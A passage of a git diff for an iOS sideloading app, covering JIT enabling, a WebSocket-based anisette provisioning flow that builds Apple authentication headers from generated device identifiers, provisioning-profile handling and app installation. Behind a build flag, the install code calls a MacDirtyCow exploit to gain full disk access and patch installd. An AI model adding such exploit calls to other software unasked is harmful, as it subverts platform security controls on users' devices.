|
||||
}
|
||||
}
|
||||
|
||||
self.progress.completedUnitCount += 1
|
||||
installedApp.isActive = false
|
||||
self.finish(.success(installedApp))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -45,23 +45,19 @@ final class EnableJITOperation<Context: EnableJITContext>: ResultOperation<Void>
|
||||
guard let installedApp = self.context.installedApp else { return self.finish(.failure(OperationError.invalidParameters)) }
|
||||
|
||||
installedApp.managedObjectContext?.perform {
|
||||
let v = minimuxer_to_operation(code: 1)
|
||||
|
||||
do {
|
||||
var x = try debug_app(app_id: installedApp.resignedBundleIdentifier)
|
||||
switch x {
|
||||
case .Good:
|
||||
var retries = 3
|
||||
while (retries > 0){
|
||||
do {
|
||||
try debug_app(installedApp.resignedBundleIdentifier)
|
||||
self.finish(.success(()))
|
||||
case .Bad(let code):
|
||||
self.finish(.failure(minimuxer_to_operation(code: code)))
|
||||
retries = 0
|
||||
} catch {
|
||||
retries -= 1
|
||||
if (retries <= 0){
|
||||
self.finish(.failure(error))
|
||||
}
|
||||
}
|
||||
} catch Uhoh.Bad(let code) {
|
||||
self.finish(.failure(minimuxer_to_operation(code: code)))
|
||||
} catch {
|
||||
self.finish(.failure(OperationError.unknown))
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,15 +7,28 @@
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import CommonCrypto
|
||||
import Starscream
|
||||
|
||||
import AltStoreCore
|
||||
import AltSign
|
||||
import Roxas
|
||||
|
||||
@objc(FetchAnisetteDataOperation)
|
||||
final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>
|
||||
final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>, WebSocketDelegate
|
||||
{
|
||||
let context: OperationContext
|
||||
var socket: WebSocket!
|
||||
|
||||
var url: URL?
|
||||
var startProvisioningURL: URL?
|
||||
var endProvisioningURL: URL?
|
||||
|
||||
var clientInfo: String?
|
||||
var userAgent: String?
|
||||
|
||||
var mdLu: String?
|
||||
var deviceId: String?
|
||||
|
||||
init(context: OperationContext)
|
||||
{
|
||||
@@ -32,32 +45,412 @@ final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>
|
||||
return
|
||||
}
|
||||
|
||||
let url = AnisetteManager.currentURL
|
||||
DLOG("Anisette URL: %@", url.absoluteString)
|
||||
self.url = AnisetteManager.currentURL
|
||||
print("Anisette URL: \(self.url!.absoluteString)")
|
||||
|
||||
let task = URLSession.shared.dataTask(with: url) { data, response, error in
|
||||
guard let data = data, error == nil else { return }
|
||||
|
||||
do {
|
||||
// make sure this JSON is in the format we expect
|
||||
// convert data to json
|
||||
if let json = try JSONSerialization.jsonObject(with: data, options: []) as? [String: String] {
|
||||
// try to read out a dictionary
|
||||
//for some reason serial number isn't needed but it doesn't work unless it has a value
|
||||
let formattedJSON: [String: String] = ["machineID": json["X-Apple-I-MD-M"]!, "oneTimePassword": json["X-Apple-I-MD"]!, "localUserID": json["X-Apple-I-MD-LU"]!, "routingInfo": json["X-Apple-I-MD-RINFO"]!, "deviceUniqueIdentifier": json["X-Mme-Device-Id"]!, "deviceDescription": json["X-MMe-Client-Info"]!, "date": json["X-Apple-I-Client-Time"]!, "locale": json["X-Apple-Locale"]!, "timeZone": json["X-Apple-I-TimeZone"]!, "deviceSerialNumber": "1"]
|
||||
|
||||
if let anisette = ALTAnisetteData(json: formattedJSON) {
|
||||
DLOG("Anisette used: %@", formattedJSON)
|
||||
self.finish(.success(anisette))
|
||||
}
|
||||
if let identifier = Keychain.shared.identifier,
|
||||
let adiPb = Keychain.shared.adiPb {
|
||||
fetchAnisetteV3(identifier, adiPb)
|
||||
} else {
|
||||
provision()
|
||||
}
|
||||
}
|
||||
|
||||
// MARK: - COMMON
|
||||
|
||||
func extractAnisetteData(_ data: Data, _ response: HTTPURLResponse?, v3: Bool) throws {
|
||||
// make sure this JSON is in the format we expect
|
||||
// convert data to json
|
||||
if let json = try JSONSerialization.jsonObject(with: data, options: []) as? [String: String] {
|
||||
if v3 {
|
||||
if json["result"] == "GetHeadersError" {
|
||||
let message = json["message"]
|
||||
print("Error getting V3 headers: \(message ?? "no message")")
|
||||
if let message = message,
|
||||
message.contains("-45061") {
|
||||
print("Error message contains -45061 (not provisioned), resetting adi.pb and retrying")
|
||||
Keychain.shared.adiPb = nil
|
||||
return provision()
|
||||
} else { throw OperationError.anisetteV3Error(message: message ?? "Unknown error") }
|
||||
}
|
||||
}
|
||||
|
||||
// try to read out a dictionary
|
||||
// for some reason serial number isn't needed but it doesn't work unless it has a value
|
||||
var formattedJSON: [String: String] = ["deviceSerialNumber": "0"]
|
||||
if let machineID = json["X-Apple-I-MD-M"] { formattedJSON["machineID"] = machineID }
|
||||
if let oneTimePassword = json["X-Apple-I-MD"] { formattedJSON["oneTimePassword"] = oneTimePassword }
|
||||
if let routingInfo = json["X-Apple-I-MD-RINFO"] { formattedJSON["routingInfo"] = routingInfo }
|
||||
|
||||
if v3 {
|
||||
formattedJSON["deviceDescription"] = self.clientInfo!
|
||||
formattedJSON["localUserID"] = self.mdLu!
|
||||
formattedJSON["deviceUniqueIdentifier"] = self.deviceId!
|
||||
|
||||
// Generate date stuff on client
|
||||
let formatter = DateFormatter()
|
||||
formatter.locale = Locale(identifier: "en_US_POSIX")
|
||||
formatter.calendar = Calendar(identifier: .gregorian)
|
||||
formatter.timeZone = TimeZone.current
|
||||
formatter.dateFormat = "yyyy-MM-dd'T'HH:mm:ss'Z'"
|
||||
let dateString = formatter.string(from: Date())
|
||||
formattedJSON["date"] = dateString
|
||||
formattedJSON["locale"] = Locale.current.identifier
|
||||
formattedJSON["timeZone"] = TimeZone.current.abbreviation()
|
||||
} else {
|
||||
if let deviceDescription = json["X-MMe-Client-Info"] { formattedJSON["deviceDescription"] = deviceDescription }
|
||||
if let localUserID = json["X-Apple-I-MD-LU"] { formattedJSON["localUserID"] = localUserID }
|
||||
if let deviceUniqueIdentifier = json["X-Mme-Device-Id"] { formattedJSON["deviceUniqueIdentifier"] = deviceUniqueIdentifier }
|
||||
|
||||
if let date = json["X-Apple-I-Client-Time"] { formattedJSON["date"] = date }
|
||||
if let locale = json["X-Apple-Locale"] { formattedJSON["locale"] = locale }
|
||||
if let timeZone = json["X-Apple-I-TimeZone"] { formattedJSON["timeZone"] = timeZone }
|
||||
}
|
||||
|
||||
if let response = response,
|
||||
let version = response.value(forHTTPHeaderField: "Implementation-Version") {
|
||||
print("Implementation-Version: \(version)")
|
||||
} else { print("No Implementation-Version header") }
|
||||
|
||||
print("Anisette used: \(formattedJSON)")
|
||||
print("Original JSON: \(json)")
|
||||
if let anisette = ALTAnisetteData(json: formattedJSON) {
|
||||
print("Anisette is valid!")
|
||||
self.finish(.success(anisette))
|
||||
} else {
|
||||
print("Anisette is invalid!!!!")
|
||||
if v3 {
|
||||
throw OperationError.anisetteV3Error(message: "Invalid anisette (the returned data may not have all the required fields)")
|
||||
} else {
|
||||
throw OperationError.anisetteV1Error(message: "Invalid anisette (the returned data may not have all the required fields)")
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if v3 {
|
||||
throw OperationError.anisetteV3Error(message: "Invalid anisette (the returned data may not be in JSON)")
|
||||
} else {
|
||||
throw OperationError.anisetteV1Error(message: "Invalid anisette (the returned data may not be in JSON)")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// MARK: - V1
|
||||
|
||||
func handleV1() {
|
||||
print("Server is V1")
|
||||
|
||||
if UserDefaults.shared.trustedServerURL == AnisetteManager.currentURLString {
|
||||
print("Server has already been trusted, fetching anisette")
|
||||
return self.fetchAnisetteV1()
|
||||
}
|
||||
|
||||
print("Alerting user about outdated server")
|
||||
let alert = UIAlertController(title: "WARNING: Outdated anisette server", message: "We've detected you are using an older anisette server. Using this server has a higher likelihood of locking your account and causing other issues. Are you sure you want to continue?", preferredStyle: UIAlertController.Style.alert)
|
||||
alert.addAction(UIAlertAction(title: "Continue", style: UIAlertAction.Style.destructive, handler: { action in
|
||||
print("Fetching anisette via V1")
|
||||
UserDefaults.shared.trustedServerURL = AnisetteManager.currentURLString
|
||||
self.fetchAnisetteV1()
|
||||
}))
|
||||
alert.addAction(UIAlertAction(title: "Cancel", style: UIAlertAction.Style.cancel, handler: { action in
|
||||
print("Cancelled anisette operation")
|
||||
self.finish(.failure(OperationError.cancelled))
|
||||
}))
|
||||
|
||||
let keyWindow = UIApplication.shared.windows.filter { $0.isKeyWindow }.first
|
||||
|
||||
DispatchQueue.main.async {
|
||||
if let presentingController = keyWindow?.rootViewController?.presentedViewController {
|
||||
presentingController.present(alert, animated: true)
|
||||
} else {
|
||||
keyWindow?.rootViewController?.present(alert, animated: true)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func fetchAnisetteV1() {
|
||||
print("Fetching anisette V1")
|
||||
URLSession.shared.dataTask(with: self.url!) { data, response, error in
|
||||
do {
|
||||
guard let data = data, error == nil else { throw OperationError.anisetteV1Error(message: "Unable to fetch data\(error != nil ? " (\(error!.localizedDescription))" : "")") }
|
||||
|
||||
try self.extractAnisetteData(data, response as? HTTPURLResponse, v3: false)
|
||||
} catch let error as NSError {
|
||||
print("Failed to load: \(error.localizedDescription)")
|
||||
self.finish(.failure(error))
|
||||
}
|
||||
|
||||
}.resume()
|
||||
}
|
||||
|
||||
// MARK: - V3: PROVISIONING
|
||||
|
||||
func provision() {
|
||||
fetchClientInfo {
|
||||
print("Getting provisioning URLs")
|
||||
var request = self.buildAppleRequest(url: URL(string: "https://gsa.apple.com/grandslam/GsService2/lookup")!)
|
||||
request.httpMethod = "GET"
|
||||
URLSession.shared.dataTask(with: request) { data, response, error in
|
||||
if let data = data,
|
||||
let plist = try? PropertyListSerialization.propertyList(from: data, format: nil) as? Dictionary<String, Dictionary<String, Any>>,
|
||||
let startProvisioningString = plist["urls"]?["midStartProvisioning"] as? String,
|
||||
let startProvisioningURL = URL(string: startProvisioningString),
|
||||
let endProvisioningString = plist["urls"]?["midFinishProvisioning"] as? String,
|
||||
let endProvisioningURL = URL(string: endProvisioningString) {
|
||||
self.startProvisioningURL = startProvisioningURL
|
||||
self.endProvisioningURL = endProvisioningURL
|
||||
print("startProvisioningURL: \(self.startProvisioningURL!.absoluteString)")
|
||||
print("endProvisioningURL: \(self.endProvisioningURL!.absoluteString)")
|
||||
print("Starting a provisioning session")
|
||||
self.startProvisioningSession()
|
||||
} else {
|
||||
print("Apple didn't give valid URLs! Got response: \(String(data: data ?? Data("nothing".utf8), encoding: .utf8) ?? "not utf8")")
|
||||
self.finish(.failure(OperationError.provisioningError(result: "Apple didn't give valid URLs. Please try again later", message: nil)))
|
||||
}
|
||||
}.resume()
|
||||
}
|
||||
}
|
||||
|
||||
func startProvisioningSession() {
|
||||
let provisioningSessionURL = self.url!.appendingPathComponent("v3").appendingPathComponent("provisioning_session")
|
||||
var wsRequest = URLRequest(url: provisioningSessionURL)
|
||||
wsRequest.timeoutInterval = 5
|
||||
self.socket = WebSocket(request: wsRequest)
|
||||
self.socket.delegate = self
|
||||
self.socket.connect()
|
||||
}
|
||||
|
||||
func didReceive(event: WebSocketEvent, client: WebSocketClient) {
|
||||
switch event {
|
||||
case .text(let string):
|
||||
do {
|
||||
if let json = try JSONSerialization.jsonObject(with: string.data(using: .utf8)!, options: []) as? [String: Any] {
|
||||
guard let result = json["result"] as? String else {
|
||||
print("The server didn't give us a result")
|
||||
client.disconnect(closeCode: 0)
|
||||
self.finish(.failure(OperationError.provisioningError(result: "The server didn't give us a result", message: nil)))
|
||||
return
|
||||
}
|
||||
print("Received result: \(result)")
|
||||
switch result {
|
||||
case "GiveIdentifier":
|
||||
print("Giving identifier")
|
||||
client.json(["identifier": Keychain.shared.identifier!])
|
||||
|
||||
case "GiveStartProvisioningData":
|
||||
print("Getting start provisioning data")
|
||||
let body = [
|
||||
"Header": [String: Any](),
|
||||
"Request": [String: Any](),
|
||||
]
|
||||
var request = self.buildAppleRequest(url: self.startProvisioningURL!)
|
||||
request.httpMethod = "POST"
|
||||
request.httpBody = try! PropertyListSerialization.data(fromPropertyList: body, format: .xml, options: 0)
|
||||
URLSession.shared.dataTask(with: request) { data, response, error in
|
||||
if let data = data,
|
||||
let plist = try? PropertyListSerialization.propertyList(from: data, format: nil) as? Dictionary<String, Dictionary<String, Any>>,
|
||||
let spim = plist["Response"]?["spim"] as? String {
|
||||
print("Giving start provisioning data")
|
||||
client.json(["spim": spim])
|
||||
} else {
|
||||
print("Apple didn't give valid start provisioning data! Got response: \(String(data: data ?? Data("nothing".utf8), encoding: .utf8) ?? "not utf8")")
|
||||
client.disconnect(closeCode: 0)
|
||||
self.finish(.failure(OperationError.provisioningError(result: "Apple didn't give valid start provisioning data. Please try again later", message: nil)))
|
||||
}
|
||||
}.resume()
|
||||
|
||||
case "GiveEndProvisioningData":
|
||||
print("Getting end provisioning data")
|
||||
guard let cpim = json["cpim"] as? String else {
|
||||
print("The server didn't give us a cpim")
|
||||
client.disconnect(closeCode: 0)
|
||||
self.finish(.failure(OperationError.provisioningError(result: "The server didn't give us a cpim", message: nil)))
|
||||
return
|
||||
}
|
||||
let body = [
|
||||
"Header": [String: Any](),
|
||||
"Request": [
|
||||
"cpim": cpim,
|
||||
],
|
||||
]
|
||||
var request = self.buildAppleRequest(url: self.endProvisioningURL!)
|
||||
request.httpMethod = "POST"
|
||||
request.httpBody = try! PropertyListSerialization.data(fromPropertyList: body, format: .xml, options: 0)
|
||||
URLSession.shared.dataTask(with: request) { data, response, error in
|
||||
if let data = data,
|
||||
let plist = try? PropertyListSerialization.propertyList(from: data, format: nil) as? Dictionary<String, Dictionary<String, Any>>,
|
||||
let ptm = plist["Response"]?["ptm"] as? String,
|
||||
let tk = plist["Response"]?["tk"] as? String {
|
||||
print("Giving end provisioning data")
|
||||
client.json(["ptm": ptm, "tk": tk])
|
||||
} else {
|
||||
print("Apple didn't give valid end provisioning data! Got response: \(String(data: data ?? Data("nothing".utf8), encoding: .utf8) ?? "not utf8")")
|
||||
client.disconnect(closeCode: 0)
|
||||
self.finish(.failure(OperationError.provisioningError(result: "Apple didn't give valid end provisioning data. Please try again later", message: nil)))
|
||||
}
|
||||
}.resume()
|
||||
|
||||
case "ProvisioningSuccess":
|
||||
print("Provisioning succeeded!")
|
||||
client.disconnect(closeCode: 0)
|
||||
guard let adiPb = json["adi_pb"] as? String else {
|
||||
print("The server didn't give us an adi.pb file")
|
||||
self.finish(.failure(OperationError.provisioningError(result: "The server didn't give us an adi.pb file", message: nil)))
|
||||
return
|
||||
}
|
||||
Keychain.shared.adiPb = adiPb
|
||||
self.fetchAnisetteV3(Keychain.shared.identifier!, Keychain.shared.adiPb!)
|
||||
|
||||
default:
|
||||
if result.contains("Error") || result.contains("Invalid") || result == "ClosingPerRequest" || result == "Timeout" || result == "TextOnly" {
|
||||
print("Failing because of \(result)")
|
||||
self.finish(.failure(OperationError.provisioningError(result: result, message: json["message"] as? String)))
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch let error as NSError {
|
||||
print("Failed to handle text: \(error.localizedDescription)")
|
||||
self.finish(.failure(OperationError.provisioningError(result: error.localizedDescription, message: nil)))
|
||||
}
|
||||
|
||||
case .connected:
|
||||
print("Connected")
|
||||
|
||||
case .disconnected(let string, let code):
|
||||
print("Disconnected: \(code); \(string)")
|
||||
|
||||
case .error(let error):
|
||||
print("Got error: \(String(describing: error))")
|
||||
|
||||
default:
|
||||
print("Unknown event: \(event)")
|
||||
}
|
||||
}
|
||||
|
||||
func buildAppleRequest(url: URL) -> URLRequest {
|
||||
var request = URLRequest(url: url)
|
||||
request.setValue(self.clientInfo!, forHTTPHeaderField: "X-Mme-Client-Info")
|
||||
request.setValue(self.userAgent!, forHTTPHeaderField: "User-Agent")
|
||||
request.setValue("text/x-xml-plist", forHTTPHeaderField: "Content-Type")
|
||||
request.setValue("*/*", forHTTPHeaderField: "Accept")
|
||||
|
||||
request.setValue(self.mdLu!, forHTTPHeaderField: "X-Apple-I-MD-LU")
|
||||
request.setValue(self.deviceId!, forHTTPHeaderField: "X-Mme-Device-Id")
|
||||
|
||||
let formatter = DateFormatter()
|
||||
formatter.locale = Locale(identifier: "en_US_POSIX")
|
||||
formatter.calendar = Calendar(identifier: .gregorian)
|
||||
formatter.timeZone = TimeZone(identifier: "UTC")
|
||||
formatter.dateFormat = "yyyy-MM-dd'T'HH:mm:ss'Z'"
|
||||
let dateString = formatter.string(from: Date())
|
||||
request.setValue(dateString, forHTTPHeaderField: "X-Apple-I-Client-Time")
|
||||
request.setValue(Locale.current.identifier, forHTTPHeaderField: "X-Apple-Locale")
|
||||
request.setValue(TimeZone.current.abbreviation(), forHTTPHeaderField: "X-Apple-I-TimeZone")
|
||||
return request
|
||||
}
|
||||
|
||||
// MARK: - V3: FETCHING
|
||||
|
||||
func fetchClientInfo(_ callback: @escaping () -> Void) {
|
||||
if self.clientInfo != nil &&
|
||||
self.userAgent != nil &&
|
||||
self.mdLu != nil &&
|
||||
self.deviceId != nil &&
|
||||
Keychain.shared.identifier != nil {
|
||||
print("Skipping client_info fetch since all the properties we need aren't nil")
|
||||
return callback()
|
||||
}
|
||||
print("Trying to get client_info")
|
||||
let clientInfoURL = self.url!.appendingPathComponent("v3").appendingPathComponent("client_info")
|
||||
URLSession.shared.dataTask(with: clientInfoURL) { data, response, error in
|
||||
do {
|
||||
guard let data = data, error == nil else {
|
||||
return self.finish(.failure(OperationError.anisetteV3Error(message: "Couldn't fetch client info. The server may be down\(error != nil ? " (\(error!.localizedDescription))" : "")")))
|
||||
}
|
||||
|
||||
if let json = try JSONSerialization.jsonObject(with: data, options: []) as? [String: String] {
|
||||
if let clientInfo = json["client_info"] {
|
||||
print("Server is V3")
|
||||
|
||||
self.clientInfo = clientInfo
|
||||
self.userAgent = json["user_agent"]!
|
||||
print("Client-Info: \(self.clientInfo!)")
|
||||
print("User-Agent: \(self.userAgent!)")
|
||||
|
||||
if Keychain.shared.identifier == nil {
|
||||
print("Generating identifier")
|
||||
var bytes = [Int8](repeating: 0, count: 16)
|
||||
let status = SecRandomCopyBytes(kSecRandomDefault, bytes.count, &bytes)
|
||||
|
||||
if status != errSecSuccess {
|
||||
print("ERROR GENERATING IDENTIFIER!!! \(status)")
|
||||
return self.finish(.failure(OperationError.provisioningError(result: "Couldn't generate identifier", message: nil)))
|
||||
}
|
||||
|
||||
Keychain.shared.identifier = Data(bytes: &bytes, count: bytes.count).base64EncodedString()
|
||||
}
|
||||
|
||||
let decoded = Data(base64Encoded: Keychain.shared.identifier!)!
|
||||
self.mdLu = decoded.sha256().hexEncodedString()
|
||||
print("X-Apple-I-MD-LU: \(self.mdLu!)")
|
||||
let uuid: UUID = decoded.object()
|
||||
self.deviceId = uuid.uuidString.uppercased()
|
||||
print("X-Mme-Device-Id: \(self.deviceId!)")
|
||||
|
||||
callback()
|
||||
} else { self.handleV1() }
|
||||
} else { self.finish(.failure(OperationError.anisetteV3Error(message: "Couldn't fetch client info. The returned data may not be in JSON"))) }
|
||||
} catch let error as NSError {
|
||||
print("Failed to load: \(error.localizedDescription)")
|
||||
self.handleV1()
|
||||
}
|
||||
}.resume()
|
||||
}
|
||||
|
||||
func fetchAnisetteV3(_ identifier: String, _ adiPb: String) {
|
||||
fetchClientInfo {
|
||||
print("Fetching anisette V3")
|
||||
var request = URLRequest(url: self.url!.appendingPathComponent("v3").appendingPathComponent("get_headers"))
|
||||
request.httpMethod = "POST"
|
||||
request.httpBody = try! JSONSerialization.data(withJSONObject: [
|
||||
"identifier": identifier,
|
||||
"adi_pb": adiPb
|
||||
], options: [])
|
||||
request.setValue("application/json", forHTTPHeaderField: "Content-Type")
|
||||
URLSession.shared.dataTask(with: request) { data, response, error in
|
||||
do {
|
||||
guard let data = data, error == nil else { throw OperationError.anisetteV3Error(message: "Couldn't fetch anisette") }
|
||||
|
||||
try self.extractAnisetteData(data, response as? HTTPURLResponse, v3: true)
|
||||
} catch let error as NSError {
|
||||
print("Failed to load: \(error.localizedDescription)")
|
||||
self.finish(.failure(error))
|
||||
}
|
||||
}.resume()
|
||||
}
|
||||
|
||||
task.resume()
|
||||
}
|
||||
}
|
||||
|
||||
extension WebSocketClient {
|
||||
func json(_ dictionary: [String: String]) {
|
||||
let data = try! JSONSerialization.data(withJSONObject: dictionary, options: [])
|
||||
self.write(string: String(data: data, encoding: .utf8)!)
|
||||
}
|
||||
}
|
||||
|
||||
extension Data {
|
||||
// https://stackoverflow.com/a/25391020
|
||||
func sha256() -> Data {
|
||||
var hash = [UInt8](repeating: 0, count: Int(CC_SHA256_DIGEST_LENGTH))
|
||||
self.withUnsafeBytes {
|
||||
_ = CC_SHA256($0.baseAddress, CC_LONG(self.count), &hash)
|
||||
}
|
||||
return Data(hash)
|
||||
}
|
||||
|
||||
// https://stackoverflow.com/a/40089462
|
||||
func hexEncodedString() -> String {
|
||||
return self.map { String(format: "%02hhX", $0) }.joined()
|
||||
}
|
||||
|
||||
// https://stackoverflow.com/a/59127761
|
||||
func object<T>() -> T { self.withUnsafeBytes { $0.load(as: T.self) } }
|
||||
}
|
||||
|
||||
@@ -262,14 +262,19 @@ extension FetchProvisioningProfilesOperation
|
||||
{
|
||||
throw OperationError.maximumAppIDLimitReached(application: application, requiredAppIDs: requiredAppIDs, availableAppIDs: availableAppIDs, nextExpirationDate: expirationDate)
|
||||
}
|
||||
else
|
||||
{
|
||||
throw ALTAppleAPIError(.maximumAppIDLimitReached)
|
||||
}
|
||||
}
|
||||
}
|
||||
//App ID name must be ascii. If the name is not ascii, using bundleID instead
|
||||
let appIDName: String
|
||||
if !name.allSatisfy({ $0.isASCII }) {
|
||||
//Contains non ASCII (Such as Chinese/Japanese...), using bundleID
|
||||
appIDName = bundleIdentifier
|
||||
}else {
|
||||
//ASCII text, keep going as usual
|
||||
appIDName = name
|
||||
}
|
||||
|
||||
ALTAppleAPI.shared.addAppID(withName: name, bundleIdentifier: bundleIdentifier, team: team, session: session) { (appID, error) in
|
||||
ALTAppleAPI.shared.addAppID(withName: appIDName, bundleIdentifier: bundleIdentifier, team: team, session: session) { (appID, error) in
|
||||
do
|
||||
{
|
||||
do
|
||||
@@ -384,19 +389,39 @@ extension FetchProvisioningProfilesOperation
|
||||
|
||||
if app.isAltStoreApp
|
||||
{
|
||||
print("Application groups before modifying for SideStore: \(applicationGroups)")
|
||||
|
||||
// Remove app groups that contain AltStore since they can be problematic (cause SideStore to expire early)
|
||||
for (index, group) in applicationGroups.enumerated() {
|
||||
if group.contains("AltStore") {
|
||||
print("Removing application group: \(group)")
|
||||
applicationGroups.remove(at: index)
|
||||
}
|
||||
}
|
||||
|
||||
// Make sure we add .AltWidget for the widget
|
||||
var altStoreAppGroupID = Bundle.baseAltStoreAppGroupID
|
||||
for (_, group) in applicationGroups.enumerated() {
|
||||
if group.contains("AltWidget") {
|
||||
altStoreAppGroupID += ".AltWidget"
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// Potentially updating app groups for this specific AltStore.
|
||||
// Find the (unique) AltStore app group, then replace it
|
||||
// with the correct "base" app group ID.
|
||||
// Otherwise, we may append a duplicate team identifier to the end.
|
||||
if let index = applicationGroups.firstIndex(where: { $0.contains(Bundle.baseAltStoreAppGroupID) })
|
||||
{
|
||||
applicationGroups[index] = Bundle.baseAltStoreAppGroupID
|
||||
applicationGroups[index] = altStoreAppGroupID
|
||||
}
|
||||
else
|
||||
{
|
||||
applicationGroups.append(Bundle.baseAltStoreAppGroupID)
|
||||
applicationGroups.append(altStoreAppGroupID)
|
||||
}
|
||||
}
|
||||
print("Application groups: \(applicationGroups)")
|
||||
|
||||
// Dispatch onto global queue to prevent appGroupsLock deadlock.
|
||||
DispatchQueue.global().async {
|
||||
@@ -478,10 +503,13 @@ extension FetchProvisioningProfilesOperation
|
||||
ALTAppleAPI.shared.delete(profile, for: team, session: session) { (success, error) in
|
||||
switch Result(success, error)
|
||||
{
|
||||
case .failure(let error): completionHandler(.failure(error))
|
||||
case .success:
|
||||
case .failure:
|
||||
// As of March 20, 2023, the free provisioning profile is re-generated each fetch, and you can no longer delete it.
|
||||
// So instead, we just return the fetched profile from above.
|
||||
completionHandler(.success(profile))
|
||||
|
||||
// Fetch new provisiong profile
|
||||
case .success:
|
||||
// Fetch new provisioning profile
|
||||
ALTAppleAPI.shared.fetchProvisioningProfile(for: appID, deviceType: .iphone, team: team, session: session) { (profile, error) in
|
||||
completionHandler(Result(profile, error))
|
||||
}
|
||||
|
||||
@@ -11,6 +11,10 @@ import Network
|
||||
import AltStoreCore
|
||||
import AltSign
|
||||
import Roxas
|
||||
import minimuxer
|
||||
#if MACDIRTYCOW
|
||||
import MacDirtyCow
|
||||
#endif
|
||||
|
||||
@objc(InstallAppOperation)
|
||||
final class InstallAppOperation: ResultOperation<InstalledApp>
|
||||
@@ -40,12 +44,14 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
|
||||
|
||||
guard
|
||||
let certificate = self.context.certificate,
|
||||
let resignedApp = self.context.resignedApp
|
||||
let resignedApp = self.context.resignedApp,
|
||||
let provisioningProfiles = self.context.provisioningProfiles
|
||||
else { return self.finish(.failure(OperationError.invalidParameters)) }
|
||||
|
||||
let backgroundContext = DatabaseManager.shared.persistentContainer.newBackgroundContext()
|
||||
backgroundContext.perform {
|
||||
|
||||
|
||||
/* App */
|
||||
let installedApp: InstalledApp
|
||||
|
||||
@@ -115,8 +121,7 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
|
||||
// Temporary directory and resigned .ipa no longer needed, so delete them now to ensure AltStore doesn't quit before we get the chance to.
|
||||
self.cleanUp()
|
||||
|
||||
var activeProfiles: Set<String>?
|
||||
if let sideloadedAppsLimit = UserDefaults.standard.activeAppsLimit
|
||||
if let sideloadedAppsLimit = UserDefaults.standard.activeAppsLimit, provisioningProfiles.contains(where: { $1.isFreeProvisioningProfile == true })
|
||||
{
|
||||
// When installing these new profiles, AltServer will remove all non-active profiles to ensure we remain under limit.
|
||||
|
||||
@@ -141,23 +146,102 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
|
||||
installedApp.isActive = false
|
||||
}
|
||||
}
|
||||
|
||||
activeProfiles = Set(activeApps.flatMap { (installedApp) -> [String] in
|
||||
let appExtensionProfiles = installedApp.appExtensions.map { $0.resignedBundleIdentifier }
|
||||
return [installedApp.resignedBundleIdentifier] + appExtensionProfiles
|
||||
})
|
||||
}
|
||||
else
|
||||
{
|
||||
installedApp.isActive = true
|
||||
}
|
||||
|
||||
let ns_bundle = NSString(string: installedApp.bundleIdentifier)
|
||||
let ns_bundle_ptr = UnsafeMutablePointer<CChar>(mutating: ns_bundle.utf8String)
|
||||
var installing = true
|
||||
if installedApp.storeApp?.bundleIdentifier.range(of: Bundle.Info.appbundleIdentifier) != nil {
|
||||
// Reinstalling ourself will hang until we leave the app, so we need to exit it without force closing
|
||||
DispatchQueue.main.asyncAfter(deadline: .now() + 3) {
|
||||
if UIApplication.shared.applicationState != .active {
|
||||
print("We are not in the foreground, let's not do anything")
|
||||
return
|
||||
}
|
||||
if !installing {
|
||||
print("Installing finished")
|
||||
return
|
||||
}
|
||||
print("We are still installing after 3 seconds")
|
||||
UNUserNotificationCenter.current().getNotificationSettings { settings in
|
||||
switch (settings.authorizationStatus) {
|
||||
case .authorized, .ephemeral, .provisional:
|
||||
print("Notifications are enabled")
|
||||
|
||||
let content = UNMutableNotificationContent()
|
||||
content.title = "Refreshing..."
|
||||
content.body = "SideStore will automatically move to the homescreen to finish refreshing!"
|
||||
let notification = UNNotificationRequest(identifier: Bundle.Info.appbundleIdentifier + ".FinishRefreshNotification", content: content, trigger: UNTimeIntervalNotificationTrigger(timeInterval: 2, repeats: false))
|
||||
UNUserNotificationCenter.current().add(notification)
|
||||
break
|
||||
default:
|
||||
print("Notifications are not enabled")
|
||||
|
||||
let alert = UIAlertController(title: "Finish Refresh", message: "Please reopen SideStore after the process is finished.To finish refreshing, SideStore must be moved to the background. To do this, you can either go to the Home Screen manually or by hitting Continue. Please reopen SideStore after doing this.", preferredStyle: .alert)
|
||||
alert.addAction(UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default, handler: { _ in
|
||||
print("Going home")
|
||||
UIApplication.shared.perform(#selector(NSXPCConnection.suspend))
|
||||
}))
|
||||
|
||||
DispatchQueue.main.async {
|
||||
let keyWindow = UIApplication.shared.windows.filter { $0.isKeyWindow }.first
|
||||
if var topController = keyWindow?.rootViewController {
|
||||
while let presentedViewController = topController.presentedViewController {
|
||||
topController = presentedViewController
|
||||
}
|
||||
topController.present(alert, animated: true)
|
||||
} else {
|
||||
print("No key window? Let's just go home")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
UIApplication.shared.perform(#selector(NSXPCConnection.suspend))
|
||||
}
|
||||
}
|
||||
|
||||
let res = minimuxer_install_ipa(ns_bundle_ptr)
|
||||
if res == 0 {
|
||||
do {
|
||||
#if MACDIRTYCOW
|
||||
if UserDefaults.standard.isMDCEnabled {
|
||||
grant_full_disk_access { error in
|
||||
if error != nil {
|
||||
self.finish(.failure(OperationError.mdcExploitFailed))
|
||||
return
|
||||
}
|
||||
if !patch_installd() {
|
||||
self.finish(.failure(OperationError.mdcExploitFailed))
|
||||
return
|
||||
}
|
||||
|
||||
do
|
||||
{
|
||||
try install_ipa(installedApp.bundleIdentifier)
|
||||
installing = false
|
||||
installedApp.refreshedDate = Date()
|
||||
self.finish(.success(installedApp))
|
||||
} catch let error {
|
||||
installing = false
|
||||
self.finish(.failure(error))
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
try install_ipa(installedApp.bundleIdentifier)
|
||||
installing = false
|
||||
